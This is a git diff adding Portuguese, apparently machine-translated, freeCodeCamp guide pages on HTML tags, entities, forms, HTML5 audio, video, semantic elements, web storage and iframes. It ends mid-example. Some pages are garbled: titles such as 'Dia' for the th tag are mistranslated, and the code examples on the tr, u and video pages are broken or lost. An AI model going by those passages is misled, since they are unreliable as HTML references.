+O texto nos elementos `<th>` está em negrito e centralizado por padrão. O texto nos elementos `<td>` é regular e alinhado à esquerda por padrão.
+
+### Exemplo
+
+```html
+
+<html> 
+ <head> 
+ <title>Td Tag Example</title> 
+ </head> 
+ <body> 
+ <table> 
+  <tr> 
+    <th>Header1</th> 
+    <th>Header2</th> 
+  </tr> 
+  <tr> 
+    <td>Cell A</td> 
+    <td>Cell B</td> 
+  </tr> 
+ </table> 
+ </body> 
+ </html> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/textarea-tag/index.md b/client/src/guide/portuguese/html/elements/textarea-tag/index.md
new file mode 100644
index 0000000000..6b7ca84bfb
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/textarea-tag/index.md
@@ -0,0 +1,22 @@
+---
+title: Textarea Tag
+localeTitle: Tag Textarea
+---
+## Tag Textarea
+
+A tag textarea HTML permite inserir uma caixa que conterá texto para comentários ou interação do usuário. Na maioria dos casos, é comum ver a área de texto usada como parte de um formulário.
+
+Os programadores usam a tag textarea para criar um campo de múltiplas linhas para a entrada do usuário (útil especialmente no caso de o usuário poder colocar o texto mais longo no formulário). Os programadores podem especificar atributos diferentes para tags textarea.
+
+Código de amostra:
+
+```html
+
+    <form> 
+      <textarea name="comment" rows="8" cols="80" maxlength="500" placeholder="Enter your comment here..." required></textarea> 
+    </form> 
+```
+
+Atributos mais comuns: atributos `row` e `cols` determinam a altura e a largura da área de texto `placeholder` atributo `placeholder` especifica o texto que é visível para o usuário, ajuda o usuário a entender quais dados devem ser digitados `maxlength` atributo `maxlength` determina o tamanho máximo do texto que pode ser digitado na área de texto, o usuário não pode enviar mais caracteres atributo `required` significa que este campo deve ser preenchido antes do envio do formulário
+
+Para obter mais informações sobre a tag textarea e seus atributos, visite MDN ou w3schools .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/th-tag/index.md b/client/src/guide/portuguese/html/elements/th-tag/index.md
new file mode 100644
index 0000000000..c5374b6137
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/th-tag/index.md
@@ -0,0 +1,37 @@
+---
+title: Th Tag
+localeTitle: Dia
+---
+## Th Tag
+
+A tag `<th>` permite que você defina uma célula de cabeçalho nas tabelas HTML. Por padrão, a maioria dos navegadores irá negrito e centralizará os dados nessas tags.
+
+### Exemplo
+
+```html
+
+<table> 
+ <tr> 
+   <th>Movie</th> 
+   <th>Rating</th> 
+ </tr> 
+ <tr> 
+   <td>Die Hard</td> 
+   <td>5 Stars</td> 
+ </tr> 
+ </table> 
+```
+
+Essa marcação criará a seguinte saída:
+
+Filme
+
+Avaliação
+
+Duro de Matar
+
+5 estrelas
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/th)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/tr-tag/index.md b/client/src/guide/portuguese/html/elements/tr-tag/index.md
new file mode 100644
index 0000000000..21d7323de7
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/tr-tag/index.md
@@ -0,0 +1,25 @@
+---
+title: Tr Tag
+localeTitle: Dia do tr
+---
+A tag `<tr>` define uma linha padrão em uma tabela HTML em uma página da web.
+
+A tag `<tr>` contém as tags `<th>` e `<td>` , também conhecidas como Table Header e Table Data, respectivamente.
+
+`<tr>` tag `<tr>` é uma tag de fechamento fechado, o que significa que todas as tags `<tr>` abertas devem ser fechadas com a tag de fechamento subseqüente denotada por `</tr>`
+
+`<tr>` tag `<tr>` define uma linha em uma tabela.
+
+### Exemplo
+
+\`\` \`html
+
+Exemplo de Tag Tr
+
+Cabeçalho Um
+
+A célula de dados / coluna da tabela usual.
+
+A célula de dados / coluna da tabela usual.
+
+A célula de dados / coluna da tabela usual.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/u-tag/index.md b/client/src/guide/portuguese/html/elements/u-tag/index.md
new file mode 100644
index 0000000000..4765b1aeb0
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/u-tag/index.md
@@ -0,0 +1,26 @@
+---
+title: U Tag
+localeTitle: Tag U
+---
+## Tag U
+
+A marca HTML `<u>` renderiza texto com um sublinhado.
+
+O elemento `<u>` foi descontinuado no HTML 4.01. Em HTML5, a tag `<u>` foi redefinida para representar o texto que deveria ser estilisticamente diferente do texto normal. Isso inclui palavras com erros ortográficos ou substantivos próprios em chinês.
+
+Em vez disso, para sublinhar o texto, recomenda-se que a tag `<span>` seja usada no lugar de `<u>` . Estilize suas tags `<span>` com a propriedade de `text-decoration` CSS com o valor `underline` .
+
+### Exemplos:
+
+\`\` \`html
+
+Este parágrafo tem um sublinhado .
+```
+Underlining text with the `<span>` tag: 
+```
+
+html Todo mundo tem falado sobre freeCodeCamp ultimamente. \`\` \`
+
+### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/u)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/elements/ul-tag/index.md b/client/src/guide/portuguese/html/elements/ul-tag/index.md
new file mode 100644
index 0000000000..c653359948
--- /dev/null
+++ b/client/src/guide/portuguese/html/elements/ul-tag/index.md
@@ -0,0 +1,33 @@
+---
+title: Ul Tag
+localeTitle: Tag Ul
+---
+## Tag Ul
+
+A lista não ordenada `<ul>` é uma tag usada para criar listas com marcadores. Para criar uma lista dentro do `<ul>` , use a tag `<li>` . Para estilizar listas, vá para as listas de estilos CSS e faça as alterações.
+
+O `<ul>` pode ser aninhado dentro de outras listas e é compatível com outras tags, como `<a>` , `<p>` , `<button>` , as tags de estilo html ( `<strong>` , `<em>` , etc).
+
+### Exemplo
+
+Para criar o seguinte:
+
+```html
+
+ <ul> 
+    <li>This is the bulleted list #1</li> 
+    <li>This is the bulleted list #2</li> 
+    <li>This is the bulleted list #3</li> 
+      <li> 
+        <ul> 
+          <li>This is the bulleted nested list #1</li> 
+        </ul> 
+      </li> 
+  </ul> 
+```
+
+Você usaria esse código HTML: `html <html> <head> <title></title> </head> <body> <ul> <li>This is the bulleted list #1</li> <li>This is the bulleted list #2</li> <li>This is the bulleted list #3</li> <li> <ul> <li>This is the bulleted nested list #1</li> </ul> </li> </ul> </body> </html>`
+
+## Outros recursos
+
+*   [A lista ordenada `<ol>`](https://github.com/freeCodeCamp/guides/blob/master/src/pages/html/elements/ol-tag/index.md)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/html-entities/index.md b/client/src/guide/portuguese/html/html-entities/index.md
new file mode 100644
index 0000000000..58a3592abd
--- /dev/null
+++ b/client/src/guide/portuguese/html/html-entities/index.md
@@ -0,0 +1,49 @@
+---
+title: HTML Entities
+localeTitle: Entidades HTML
+---
+# Entidades HTML
+
+## Visão geral
+
+### O que são entidades HTML?
+
+Entidades HTML são caracteres usados ​​para substituir caracteres reservados em HTML ou caracteres que não aparecem em seu teclado. Alguns caracteres são reservados em HTML. Se você usar os sinais menor que (<) ou maior que (>) em seu texto, o navegador poderá misturá-los com tags.
+
+### Para que são usados?
+
+Como mencionado, as entidades HTML são usadas para substituir caracteres reservados reservados por HTML.
+
+### Como você os usa?
+
+Uma entidade de caractere é semelhante a esta:
+
+```html
+
+<!-- format &[entity_name]; --> 
+ <!-- example for a less-than sign (<) --> 
+ &lt; 
+```
+
+Ou
+
+```html
+
+<!-- &#[entity_number]; --> 
+ <!-- example for a less-than sign (<) --> 
+ &#60; 
+```
+
+## Guia de referência
+
+Esta não é de forma alguma uma lista exaustiva, mas os links abaixo serão capazes de lhe dar mais entidades, se os abaixo não funcionarem para as suas necessidades. Codificação feliz: bowtie:
+
+| Personagem | Nome da Entidade | Número da Entidade | Descrição | | ------- | ----------- | ----------- | ------- | | | | `&#32;` | Espaço | | ! | | `&#33;` | Ponto de exclamação | | "| | `&#34;` | Aspas | | # | | `&#35;` | Sinal de número | | $ | | `&#36;` | Cifrão | | ¢ | `&cent;` | `&#162;` | Sinal de centavo | | € | `&euro;` | `&#8364;` | Sinal de euro | | £ | `&pound;` | `&#163;` | Sinal de libra | | ¥ | `&yen;` | `&#165;` | Iene assinar | | % | | `&#37;` | Sinal de porcentagem | | & | `&amp;` | `&#38;` | Ampersand | | '| | `&#39;` | Apóstrofo | | (| | `&#40;` | Parêntese de abertura / esquerda | | ) | | `&#41;` | Parêntese de encerramento / direita | | \* | | `&#42;` | Asterisco | | + | | `&#43;` | Sinal de mais | | | | `&#44;` | Vírgula | | - | | `&#45;` | Hífen | | . | | `&#46;` | Período | | / | | `&#47;` | Slash | | © | `&copy;` | `&#169;` | Copyright | | ® | `&reg;` | `&#174;` | Marca Registrada | | "| `&quot;` | | `&#34;` | aspas duplas | | `>` | `&gt;` | `&#62;` | Maior que o sinal | | `<` | `&lt;` | `&#60;` | Menos que assinar | | `•` | `&bull;` | `&#8226` | Ponto de bala |
+
+#### Mais Informações:
+
+Há uma abundância de referências HTML entre as que estão por aí; alguns exemplos são:
+
+*   [Tabela de Entidades - W3](https://dev.w3.org/html5/html-author/charref)
+*   [Escolas W3](https://www.w3schools.com/html/html_entities.asp)
+*   [Freeformatter](https://www.freeformatter.com/html-entities.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/html-forms/index.md b/client/src/guide/portuguese/html/html-forms/index.md
new file mode 100644
index 0000000000..16fe8102bd
--- /dev/null
+++ b/client/src/guide/portuguese/html/html-forms/index.md
@@ -0,0 +1,71 @@
+---
+title: HTML Forms
+localeTitle: Formulários HTML
+---
+## Formulários HTML
+
+Basicamente, os formulários são usados ​​para coletar dados inseridos por um usuário, que são então enviados ao servidor para processamento adicional. Eles podem ser usados ​​para diferentes tipos de entradas do usuário, como nome, email etc.
+
+Formulário contém elementos de controle que são agrupados em tags `<form></form>` , como `input` , que podem ter tipos como:
+
+*   `text`
+*   `email`
+*   `password`
+*   `checkbox`
+*   `radio`
+*   `submit`
+*   `range`
+*   `search`
+*   `date`
+*   `time`
+*   `week`
+*   `color`
+*   `datalist`
+
+Exemplo de código:
+
+```html
+
+<form> 
+    <label for="username">Username:</label> 
+    <input type="text" name="username" id="username"> 
+    <label for="password">Password:</label> 
+    <input type="password" name="password" id="password"> 
+    <input type="radio" name="gender" value="male">Male<br> 
+    <input type="radio" name="gender" value="female">Female<br> 
+    <input type="radio" name="gender" value="other">Other 
+    <input list="Options"> 
+    <datalist id="Options"> 
+      <option value="Option1"> 
+      <option value="Option2"> 
+      <option value="Option3"> 
+    </datalist> 
+    <input type="submit" value="Submit"> 
+    <input type="color"> 
+    <input type="checkbox" name="correct" value="correct">Correct 
+ </form> 
+```
+
+Outros elementos que formam podem conter:
+
+*   `textarea` - é uma caixa de várias linhas que é usada com mais freqüência para adicionar algum texto, por exemplo. Comente. O tamanho da área de texto é definido pelo número de linhas e colunas.
+*   `select` - juntamente com a tag `<option></option>` cria o menu suspenso de seleção.
+*   `button` - O elemento de botão pode ser usado para definir um botão clicável.
+
+MAIS INFORMAÇÕES SOBRE FORMULÁRIOS HTML.
+
+Formulários HTML são necessários quando você deseja coletar alguns dados do visitante do site. Por exemplo, durante o registro do usuário, você gostaria de coletar informações como nome, endereço de e-mail, cartão de crédito etc.
+
+Um formulário receberá informações do visitante do site e, em seguida, publicará em um aplicativo de backend como CGI, script ASP ou script PHP etc. O aplicativo de back-end executará o processamento necessário nos dados transmitidos com base na lógica de negócios definida dentro a aplicação.
+
+Existem vários elementos de formulário disponíveis, como campos de texto, campos de texto, menus suspensos, botões de opção, caixas de seleção, etc.
+
+A tag HTML `<form>` é usada para criar um formulário HTML e segue a sintaxe -
+
+`html <form action = "Script URL" method = "GET|POST"> form elements like input, textarea etc. </form>`
+
+Se o método de formulário não for definido, o padrão será "GET".
+
+A tag de formulário também pode ter um atributo chamado "target", que especifica onde o link será aberto. Pode abrir na guia do navegador, um quadro ou na janela atual.
+
+O atributo action define a ação a ser executada quando o formulário é submetido. Normalmente, os dados do formulário são enviados para uma página da Web no URL do Script quando o usuário clica no botão de envio. Se o atributo action for omitido, a ação será definida para a página atual.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/html5-audio/index.md b/client/src/guide/portuguese/html/html5-audio/index.md
new file mode 100644
index 0000000000..3334084e05
--- /dev/null
+++ b/client/src/guide/portuguese/html/html5-audio/index.md
@@ -0,0 +1,50 @@
+---
+title: HTML5 Audio
+localeTitle: HTML5 Audio
+---
+## HTML5 Audio
+
+Antes do HTML5, os arquivos de áudio precisavam ser reproduzidos em um navegador usando um plug-in como o Adobe Flash. O HTML
+
+elemento é usado para incorporar conteúdo de som em documentos. Pode conter uma ou mais fontes de áudio, representadas usando o atributo src ou o elemento de [origem](source)
+
+O trecho de código a seguir adiciona um arquivo de áudio com o nome de arquivo `tutorial.ogg` ou `tutorial.mp3` . o  elemento indica arquivos de áudio alternativos que o navegador pode escolher. O navegador utilizará o primeiro formato reconhecido.
+
+#### Exemplo 1
+
+```html
+
+<audio controls> 
+  <source src="tutorial.ogg" type="audio/ogg"> 
+  <source src="tutorial.mp3" type="audio/mpeg"> 
+ Your browser does not support the audio element. 
+ </audio> 
+```
+
+#### Exemplo 2
+
+```html
+
+<audio src="https://s3.amazonaws.com/freecodecamp/simonSound1.mp3" controls loop autoplay> 
+ </audio> 
+```
+
+O atributo `controls` inclui controles de áudio como play, pause e volume. Se você não usar esse atributo, nenhum controle será mostrado.
+
+O elemento `<source>` permite indicar arquivos de áudio alternativos que o navegador pode escolher. O navegador utilizará o primeiro formato de reconhecimento. O texto entre as tags `<audio>` e `</audio>` pode ser mostrado no navegador que não suporta o elemento HTML5 `<audio>` .
+
+O atributo de reprodução automática reproduzirá automaticamente seu arquivo de áudio em segundo plano. Considera-se uma prática melhor permitir que os visitantes escolham reproduzir áudio.
+
+O atributo preload indica o que o navegador deve fazer se o player não estiver configurado para reprodução automática.
+
+O atributo loop irá reproduzir seu arquivo de áudio em um loop contínuo se mencionado
+
+Como isso é html5, alguns navegadores não suportam isso. Você pode verificar isso em https://caniuse.com/#search=audio
+
+#### Mais Informações:
+
+https://caniuse.com/#search=audio
+
+https://www.w3schools.com/html/html5\_audio.asp
+
+https://msdn.microsoft.com/pt-br/library/gg589529(v=vs.85).aspx
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/html5-semantic-elements/index.md b/client/src/guide/portuguese/html/html5-semantic-elements/index.md
new file mode 100644
index 0000000000..6c1c3dcf2a
--- /dev/null
+++ b/client/src/guide/portuguese/html/html5-semantic-elements/index.md
@@ -0,0 +1,204 @@
+---
+title: HTML5 Semantic Elements
+localeTitle: Elementos semânticos em HTML5
+---
+## Elementos semânticos em HTML5
+
+Elementos HTML semânticos descrevem claramente seu significado de forma humana e legível por máquina. Elementos como `<header>` , `<footer>` e `<article>` são considerados semânticos porque descrevem com precisão a finalidade do elemento e o tipo de conteúdo que está dentro deles.
+
+### Um histórico rápido
+
+HTML foi originalmente criado como uma linguagem de marcação para descrever documentos no início da Internet. Como a internet cresceu e foi adotada por mais pessoas, suas necessidades mudaram. Onde a internet era originalmente destinada a compartilhar documentos científicos, agora as pessoas também queriam compartilhar outras coisas. Muito rapidamente, as pessoas começaram a querer tornar a web mais bonita. Como a Web não foi criada inicialmente para ser projetada, os programadores usaram hacks diferentes para definir as coisas de maneiras diferentes. Em vez de usar o `<table></table>` para descrever informações usando uma tabela, os programadores os usariam para posicionar outros elementos em uma página. Conforme o uso de layouts visualmente projetados progrediu, os programadores começaram a usar uma tag "não-semântica" genérica como `<div>` . Eles costumavam dar a esses elementos um atributo `class` ou `id` para descrever seu propósito. Por exemplo, em vez de `<header>` isso geralmente era escrito como `<div class="header">` . Como o HTML5 ainda é relativamente novo, esse uso de elementos não semânticos ainda é muito comum nos sites atuais.
+
+#### Lista de novos elementos semânticos
+
+Os elementos semânticos adicionados no HTML5 são:
+
+*   `<article>`
+*   `<aside>`
+*   `<details>`
+*   `<figcaption>`
+*   `<figure>`
+*   `<footer>`
+*   `<header>`
+*   `<main>`
+*   `<mark>`
+*   `<nav>`
+*   `<section>`
+*   `<summary>`
+*   `<time>`
+
+Elementos como `<header>` , `<nav>` , `<section>` , `<article>` , `<aside>` e `<footer>` atuam mais ou menos como os elementos `<div>` . Eles agrupam outros elementos juntos em seções da página. No entanto, quando uma tag `<div>` pode conter qualquer tipo de informação, é fácil identificar que tipo de informação seria usada em uma região `<header>` semântica.
+
+**Um exemplo de layout de elementos semânticos por w3schools**
+
+![Elementos semânticos que estabelecem uma página por w3schools](https://www.w3schools.com/html/img_sem_elements.gif)
+
+### Benefícios dos elementos semânticos
+
+Para observar os benefícios dos elementos semânticos, aqui estão duas partes do código HTML. Este primeiro bloco de código usa elementos semânticos:
+```
+<header></header> 
+ <section> 
+    <article> 
+        <figure> 
+            <img> 
+            <figcaption></figcaption> 
+        </figure> 
+    </article> 
+ </section> 
+ <footer></footer> 
+```
+
+Enquanto este segundo bloco de código usa elementos não semânticos:
+```
+<div id="header"></div> 
+ <div class="section"> 
+    <div class="article"> 
+        <div class="figure"> 
+            <img> 
+            <div class="figcaption"></div> 
+        </div> 
+    </div> 
+ </div> 
+ <div id="footer"></div> 
+```
+
+Primeiro, é muito **mais fácil de ler** . Esta é provavelmente a primeira coisa que você notará ao observar o primeiro bloco de código usando elementos semânticos. Este é um pequeno exemplo, mas como programador você pode ler centenas ou milhares de linhas de código. Quanto mais fácil for ler e entender esse código, mais fácil será o seu trabalho.
+
+Tem **maior acessibilidade** . Você não é o único que acha os elementos semânticos mais fáceis de entender. Mecanismos de pesquisa e tecnologias assistenciais (como leitores de tela para usuários com deficiência visual) também são capazes de entender melhor o contexto e o conteúdo do seu site, o que significa uma melhor experiência para seus usuários.
+
+No geral, os elementos semânticos também levam a **um código** mais **consistente** . Ao criar um cabeçalho usando elementos não-semânticos, diferentes programadores podem escrever isso como `<div class="header">` , `<div id="header">` , `<div class="head">` , ou simplesmente `<div>` . Existem muitas maneiras de criar um elemento de cabeçalho e todas dependem da preferência pessoal do programador. Ao criar um elemento semântico padrão, fica mais fácil para todos.
+
+Desde outubro de 2014, o HTML4 foi atualizado para o HTML5, juntamente com alguns novos elementos "semânticos". Até hoje, alguns de nós ainda podem estar confusos sobre o porquê de tantos elementos diferentes que não parecem mostrar grandes mudanças.
+
+#### `&#60;section&#62;` e `&#60;article&#62;`
+
+"Qual é a diferença?", Você pode perguntar. Ambos os elementos são usados ​​para seccionar um conteúdo e, sim, podem definitivamente ser usados ​​de maneira intercambiável. É uma questão de em que situação. O HTML4 ofereceu apenas um tipo de elemento de contêiner, que é `&#60;div&#62;` . Embora isso ainda seja usado em HTML5, o HTML5 nos forneceu a `&#60;section&#62;` e `&#60;article&#62;` de forma a substituir o `&#60;div&#62;` .
+
+A `&#60;section&#62;` e `&#60;article&#62;` elementos são conceitualmente semelhantes e intercambiáveis. Para decidir qual deles você deve escolher, observe o seguinte:
+
+1.  Um artigo destina-se a ser distribuído de forma independente ou reutilizável.
+2.  Uma seção é um agrupamento temático de conteúdo.
+
+```html
+
+<section> 
+  <p>Top Stories</p> 
+  <section> 
+    <p>News</p> 
+    <article>Story 1</article> 
+    <article>Story 2</article> 
+    <article>Story 3</article> 
+  </section> 
+  <section> 
+    <p>Sport</p> 
+    <article>Story 1</article> 
+    <article>Story 2</article> 
+    <article>Story 3</article> 
+  </section> 
+ </section> 
+```
+
+#### `&#60;header&#62;` e `&#60;hgroup&#62;`
+
+O `&#60;header&#62;` elemento é geralmente encontrado na parte superior de um documento, uma seção ou um artigo e geralmente contém o cabeçalho principal e algumas ferramentas de navegação e pesquisa.
+
+```html
+
+<header> 
+  <h1>Company A</h1> 
+  <ul> 
+    <li><a href="/home">Home</a></li> 
+    <li><a href="/about">About</a></li> 
+    <li><a href="/contact">Contact us</a></li> 
+  </ul> 
+  <form target="/search"> 
+    <input name="q" type="search" /> 
+    <input type="submit" /> 
+  </form> 
+ </header> 
+```
+
+O `&#60;hgroup&#62;` elemento deve ser usado onde você deseja um cabeçalho principal com um ou mais subtítulos.
+
+```html
+
+<hgroup> 
+  <h1>Heading 1</h1> 
+  <h2>Subheading 1</h2> 
+  <h2>Subheading 2</h2> 
+ </hgroup> 
+```
+
+LEMBRE-SE, que o `&#60;header&#62;` elemento pode conter qualquer conteúdo, mas o `&#60;hgroup&#62;` elemento só pode conter outros cabeçalhos, ou seja, `&#60;h1&#62;` para `&#60;h6&#62;` e incluindo `&#60;hgroup&#62;` .
+
+#### `&#60;aside&#62;`
+
+O `&#60;aside&#62;` O elemento é destinado ao conteúdo que não faz parte do fluxo do texto em que aparece, embora ainda esteja relacionado de alguma forma. Isto de `&#60;aside&#62;` como uma barra lateral do seu conteúdo principal.
+
+```html
+
+<aside> 
+  <p>This is a sidebar, for example a terminology definition or a short background to a historical figure.</p> 
+ </aside> 
+```
+
+Antes do HTML5, nossos menus foram criados com `&#60;ul&#62;` e `&#60;li&#62;` . Agora, junto com estes, podemos separar nossos itens de menu com um `&#60;nav&#62;` , para navegação entre suas páginas. Você pode ter qualquer número de `&#60;nav&#62;` elementos em uma página, por exemplo, é comum ter uma navegação global na parte superior (no `&#60;header&#62;` ) e navegação local em uma barra lateral (em um elemento `&#60;aside&#62;` ).
+
+```html
+
+<nav> 
+  <ul> 
+    <li><a href="/home">Home</a></li> 
+    <li><a href="/about">About</a></li> 
+    <li><a href="/contact">Contact us</a></li> 
+  </ul> 
+ </nav> 
+```
+
+#### `&#60;footer&#62;`
+
+Se houver um `&#60;header&#62;` deve haver um `&#60;footer&#62;` . A `&#60;footer&#62;` é geralmente encontrado na parte inferior de um documento, uma seção ou um artigo. Assim como o `&#60;header&#62;` o conteúdo é geralmente metainformation, como detalhes do autor, informações legais e / ou links para informações relacionadas. Também é válido incluir a `&#60;section&#62;` elementos dentro de um rodapé.
+
+```html
+
+<footer>&copy;Company A</footer> 
+```
+
+#### `&#60;small&#62;`
+
+O `&#60;small&#62;` elemento aparece frequentemente dentro de um `&#60;footer&#62;` ou `&#60;aside&#62;` elemento que normalmente conteria informações sobre direitos autorais ou isenções legais e outras letras miúdas. No entanto, isso não se destina a tornar o texto menor. Está apenas descrevendo seu conteúdo, não prescrevendo apresentação.
+
+```html
+
+<footer><small>&copy;Company A</small> Date</footer> 
+```
+
+#### `&#60;time&#62;`
+
+O `&#60;time&#62;` elemento permite que uma data ISO 8601 não ambígua seja anexada a uma versão legível para humanos dessa data.
+
+```html
+
+<time datetime="2017-10-31T11:21:00+02:00">Tuesday, 31 October 2017</time> 
+```
+
+Por que se preocupar com o `&#60;time&#62;` ? Enquanto humanos podem ler o tempo que pode se desambiguar pelo contexto da maneira normal, os computadores podem ler a data ISO 8601 e ver a data, hora e fuso horário.
+
+#### `&#60;figure&#62;` e `&#60;figcaption&#62;`
+
+`&#60;figure&#62;` é para envolver o conteúdo da imagem em torno dele e `&#60;figcaption&#62;` é legendar sua imagem.
+
+```html
+
+<figure> 
+  <img src="https://en.wikipedia.org/wiki/File:Shadow_of_Mordor_cover_art.jpg" alt="Shadow of Mordor" /> 
+  <figcaption>Cover art for Middle-earth: Shadow of Mordor</figcaption> 
+ </figure> 
+```
+
+### Saiba mais sobre os novos elementos HTML5:
+
+*   [w3schools](https://www.w3schools.com/html/html5_semantic_elements.asp) fornece [descrições](https://www.w3schools.com/html/html5_semantic_elements.asp) simples e claras de muitos dos elementos de notícias e como / onde eles devem ser usados.
+*   [O MDN](https://developer.mozilla.org/en-US/docs/Web/HTML/Element) também fornece uma ótima referência para todos os elementos HTML e se aprofunda em cada um deles.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/html5-video/index.md b/client/src/guide/portuguese/html/html5-video/index.md
new file mode 100644
index 0000000000..4257947842
--- /dev/null
+++ b/client/src/guide/portuguese/html/html5-video/index.md
@@ -0,0 +1,64 @@
+---
+title: HTML5 Video
+localeTitle: Vídeo em HTML5
+---
+## Vídeo em HTML5
+
+Antes do HTML5, para que um vídeo fosse reproduzido em uma página da Web, você precisaria usar um plug-in, como o Adobe Flash Player. Com a introdução do HTML5, você pode agora colocá-lo diretamente na própria página. O HTML tag é usada para incorporar vídeo em documentos da web. Pode conter uma ou mais origens de vídeo, representadas usando o atributo src ou o elemento de [origem](source) .
+
+Para incorporar o arquivo de vídeo à página da Web, basta adicionar este snippet de código e alterar o src do arquivo de áudio.
+
+\`\` \`html   Seu navegador não suporta o elemento de vídeo. Por favor, atualize para a versão mais recente.
+```
+The controls attribute includes video controls, similar to play, pause, and volume. 
+ 
+ This feature is supported by all modern/updated browsers. However, not all support the same video file format. My recommendation for a wide range of compatibilty is MP4, as it is the most widely accepted format. There are also two other formats (WebM and Ogg) that are supported in Chrome, Firefox, and Opera. 
+ 
+ The <source> element enables you to indicate alternative video files which the browser may choose from. The browser will utilize the first recognized format. 
+ In HTML5, there are 3 supported video formats: MP4, WebM, and Ogg. 
+ 
+ The text between the <video> and </video> tags will only be displayed in browsers that do not support the <video> element. 
+ Since this is html5, some browsers do not support it. You can check the support at https://caniuse.com/#search=audio. 
+ 
+ 
+ There are several different elements of the video tag, many of these explanations are based on Mozilla's web docs (linked below). There are even more if you click the link at the bottom. 
+ 
+ #### autoplay 
+ 
+ "autoplay" can be set to either true or false. You set it to true by adding it into the tag, if it is not present in the tag it is set to false. If set to true, the video will begin playing as soon as enough of the video has buffered for it to be able to play. Many people find autoplaying videos as disruptive or annoying so use this feature sparingly. Also note, that some mobile browsers, such as Safari for iOS, ignore this attribute. 
+```
+
+html
+
+  
+```
+#### poster 
+ 
+ The "poster" attribute is the image that shows on the video until the user clicks to play it. 
+```
+
+html
+
+  
+```
+#### controls 
+ 
+ The "controls" attribute can be set to true or false and will handle whether controls such as the play/pause button or volume slider appear. You set it to true by adding it into the tag, if it is not present in the tag it is set to false. 
+```
+
+html
+
+  
+
+\`\` \`
+
+Existem muitos outros atributos que podem ser adicionados e que são opcionais para personalizar o reprodutor de vídeo na página. Para saber mais, clique nos links abaixo.
+
+## Mais Informações:
+
+*   [W3Schools - Vídeo em HTML5](https://www.w3schools.com/html/html5_video.asp)
+*   [Mozilla web docs - Vídeo](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/video)
+*   [Wikipedia - Vídeo em HTML5](https://en.wikipedia.org/wiki/HTML5_video)
+*   [Rochas HTML5 - Vídeo em HTML5](https://www.html5rocks.com/en/tutorials/video/basics/)
+*   [Posso usar vídeo?](https://caniuse.com/#search=video)
+*   [Como usar o HTML5 para reproduzir arquivos de vídeo na sua página da web](https://docs.microsoft.com/en-us/previous-versions/windows/internet-explorer/ie-developer/samples/hh924821(v=vs.85))
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/html5-web-storage/index.md b/client/src/guide/portuguese/html/html5-web-storage/index.md
new file mode 100644
index 0000000000..d550ecb4e8
--- /dev/null
+++ b/client/src/guide/portuguese/html/html5-web-storage/index.md
@@ -0,0 +1,54 @@
+---
+title: HTML5 Web Storage
+localeTitle: Armazenamento na Web em HTML5
+---
+## Armazenamento na Web em HTML5
+
+O armazenamento na Web permite que aplicativos da Web armazenem até 5 MB de informações no armazenamento do navegador por origem (por domínio e protocolo).
+
+### Tipos de armazenamento na web
+
+Existem dois objetos para armazenar dados no cliente:
+
+`window.localStorage` : armazena dados sem data de validade e permanece até ser removido.
+
+```javascript
+// Store Item 
+ localStorage.setItem("foo", "bar"); 
+ 
+ // Get Item 
+ localStorage.getItem("foo"); //returns "bar" 
+```
+
+`window.sessionStorage` : armazena dados para uma sessão, em que os dados são perdidos quando a aba do navegador / navegador é fechada.
+
+```javascript
+// Store Item 
+ sessionStorage.setItem("foo", "bar"); 
+ 
+ // Get Item 
+ sessionStorage.getItem("foo"); //returns "bar" 
+```
+
+Como a implementação atual suporta apenas mapeamentos string-para-string, é necessário serializar e desserializar outras estruturas de dados.
+
+Você pode fazer isso usando JSON.stringify () e JSON.parse ().
+
+Por exemplo, para o JSON fornecido
+```
+var jsonObject = { 'one': 1, 'two': 2, 'three': 3 }; 
+```
+
+Primeiro convertemos o objeto JSON em string e salvamos no armazenamento local:
+```
+localStorage.setItem('jsonObjectString', JSON.stringify(jsonObject)); 
+```
+
+Para obter o objeto JSON da sequência armazenada no armazenamento local:
+```
+var jsonObject = JSON.parse(localStorage.getItem('jsonObjectString')); 
+```
+
+#### Mais Informações:
+
+[MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) [Rochas HTML5](https://www.html5rocks.com/en/features/storage) [Escolas W3](https://www.w3schools.com/html/html5_webstorage.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/html/iframes/index.md b/client/src/guide/portuguese/html/iframes/index.md
new file mode 100644
index 0000000000..1288a19935
--- /dev/null
+++ b/client/src/guide/portuguese/html/iframes/index.md
@@ -0,0 +1,65 @@
+---
+title: Iframes
+localeTitle: Iframes
+---
+## Iframes
+
+O elemento HTML `<iframe>` representa um quadro embutido, que permite incluir um documento HTML independente no documento HTML atual. O `<iframe>` é normalmente usado para incorporar mídia de terceiros, sua própria mídia, widgets, snippets de código ou incorporação de miniaplicativos de terceiros, como formulários de pagamento.
+
+### Atributos
+
+Abaixo estão listados alguns dos atributos do `<iframe>` :
+
+| Atributo | Descrição | | --- | --- | | `allowfullscreen` | Defina como true para permitir que o quadro seja colocado no modo de tela inteira | | `frameborder` | Diz ao navegador para desenhar uma borda ao redor do quadro (definido como 1 por padrão) | | `height` | A altura do quadro em pixels CSS | | `name` | Um nome para o quadro | | `src` | O URL da página da web para incorporar | | `width` | A largura do quadro em pixels CSS |
+
+### Exemplos
+
+Incorporando um vídeo do YouTube com um `<iframe>` :
+
+```html
+
+<iframe width="560" height="315" src="https://www.youtube.com/embed/v8kFT4I31es" 
+ frameborder="0" allowfullscreen></iframe> 
+```
+
+Incorporando o Google Maps com um `<iframe>` :
+
+```html
+
